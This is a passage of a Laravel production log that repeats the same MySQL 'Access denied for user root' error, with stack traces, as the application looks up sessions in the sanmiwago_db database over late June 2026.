production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MYDZcfAOrPQ9qhnp5OOgUjGG992kJa8UX8v2VJIt limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MYDZcfAOrPQ9qhnp5OOgUjGG992kJa8UX8v2VJIt limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-19 00:51:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kr26InAfg217XZHkjGHLTn99vjJqP6Qwd56JnRyn limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kr26InAfg217XZHkjGHLTn99vjJqP6Qwd56JnRyn limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-19 01:08:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UjBOKXowOCydzouncsJnlOZREWyain2UELC5t7j6 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UjBOKXowOCydzouncsJnlOZREWyain2UELC5t7j6 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-19 03:04:03] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = O2233ARtRy52Oplnhqj676toeVku5YytIo6qfD43 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = O2233ARtRy52Oplnhqj676toeVku5YytIo6qfD43 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-19 03:04:03] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XRVkzxpcwKJoPyqTGATzxvCcNEgg2ue6eE7edyzE limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XRVkzxpcwKJoPyqTGATzxvCcNEgg2ue6eE7edyzE limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-19 03:04:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = p5HUIrkiAikgqvQ9KTgOCXyQDpwk8SbIrcGErjbo limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = p5HUIrkiAikgqvQ9KTgOCXyQDpwk8SbIrcGErjbo limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-19 10:34:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EmWafBNsIkGDRJV3NCxDg8m8Y18GpVYoovZ7iinR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EmWafBNsIkGDRJV3NCxDg8m8Y18GpVYoovZ7iinR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-19 17:24:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = BOkNcYuU1R0cjGJJp1R1DSoV4Z2egbLlRXH7f3RI limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = BOkNcYuU1R0cjGJJp1R1DSoV4Z2egbLlRXH7f3RI limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-19 18:11:56] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IVEEDajcVy7uofmgrhGHNbLIQ3igNt47ErAldB80 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IVEEDajcVy7uofmgrhGHNbLIQ3igNt47ErAldB80 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-20 02:54:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OErn3BcPfdvItmgelF1z5VUkkO0bekv7NsuosAW0 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OErn3BcPfdvItmgelF1z5VUkkO0bekv7NsuosAW0 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-20 02:54:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cYWW7g55RH2GBZCnSWtu5fabeFp8p2h0SYKTUA9N limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cYWW7g55RH2GBZCnSWtu5fabeFp8p2h0SYKTUA9N limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-21 05:51:48] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KQpP6qBfQ0wqFYm5b7dJJeCwAzE3ZXRFQz5ukIDR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KQpP6qBfQ0wqFYm5b7dJJeCwAzE3ZXRFQz5ukIDR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-21 13:22:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6CymtikJ4ydkiMZbybL4ukqxVphkbzLZjOxkAla0 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6CymtikJ4ydkiMZbybL4ukqxVphkbzLZjOxkAla0 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-21 13:44:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zsl8ZWvRdm9lWMFn0aLUlaEkIy0MSdNtwKu2u6J7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zsl8ZWvRdm9lWMFn0aLUlaEkIy0MSdNtwKu2u6J7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-21 17:07:44] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0QUYQ33pbwO6F0pl2sLslNRj1Iir6nGNyUiaoPTE limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0QUYQ33pbwO6F0pl2sLslNRj1Iir6nGNyUiaoPTE limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-21 22:05:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nrcqOWwSluOaJXudotJlNNJFdITNZcaPiQ0I6mk6 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nrcqOWwSluOaJXudotJlNNJFdITNZcaPiQ0I6mk6 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-22 03:45:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = A8MbnILr6naQPZpVwfsmBvXrAeppo3OGYbWbmfay limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = A8MbnILr6naQPZpVwfsmBvXrAeppo3OGYbWbmfay limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-22 22:58:06] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AlSfwYvTSRgJotMcsL0E8ad30URzjuAkOvhPRgHf limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AlSfwYvTSRgJotMcsL0E8ad30URzjuAkOvhPRgHf limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-23 06:06:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7OXKTFuDrJKbyjNp9RlzrEIrVNVEr9PmrH6pAomT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7OXKTFuDrJKbyjNp9RlzrEIrVNVEr9PmrH6pAomT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-25 00:33:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RkUD1yVGNQGqpuiCnEIBWZPWSidEiBPT5ECFxzj7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RkUD1yVGNQGqpuiCnEIBWZPWSidEiBPT5ECFxzj7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-25 00:33:20] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qijxgMkAu3D21bp5g3BHAA5hXQdCBLeoVvGFPiKg limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qijxgMkAu3D21bp5g3BHAA5hXQdCBLeoVvGFPiKg limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-25 04:59:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qeMydhM8bP0xrRdPJFHmVfFsddB9d3SlHlBrVjW3 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qeMydhM8bP0xrRdPJFHmVfFsddB9d3SlHlBrVjW3 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-26 23:54:55] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = boYLopdEKgYl6hPDtAgCYCBLsIPTloP1fx8Cs8pq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = boYLopdEKgYl6hPDtAgCYCBLsIPTloP1fx8Cs8pq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-26 23:55:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Oek8AqIEunFJLw2Zgw0vx6JgFFAQoA4Vtfa6DJtG limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Oek8AqIEunFJLw2Zgw0vx6JgFFAQoA4Vtfa6DJtG limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-28 01:59:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XPfCyhqIWYtWBIRgoioIJ0vpQpSXMhhyXGfsYSHa limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XPfCyhqIWYtWBIRgoioIJ0vpQpSXMhhyXGfsYSHa limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-28 11:14:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fTq67cnwYcDeA5T9QsyMN5zfgQp6F39lfXgBFIxg limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fTq67cnwYcDeA5T9QsyMN5zfgQp6F39lfXgBFIxg limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-28 22:44:26] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XemKHqJoV1MHjvW29MgTNcHcNY9upEiL543sW7nJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XemKHqJoV1MHjvW29MgTNcHcNY9upEiL543sW7nJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-29 05:53:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VcMlC7xAunBl8bVKzHUYTXbP1RLQfpKuGbwebEMA limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VcMlC7xAunBl8bVKzHUYTXbP1RLQfpKuGbwebEMA limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-29 12:52:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = oZtesHiNHiYOAfF063i8s4neN0c2jnYfHA12Kxrr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = oZtesHiNHiYOAfF063i8s4neN0c2jnYfHA12Kxrr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-29 18:46:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = GDvvshb2zsU2NdxbOQt503lJZfve3CILTrQG6c5s limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = GDvvshb2zsU2NdxbOQt503lJZfve3CILTrQG6c5s limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-30 23:17:22] production.ERROR: 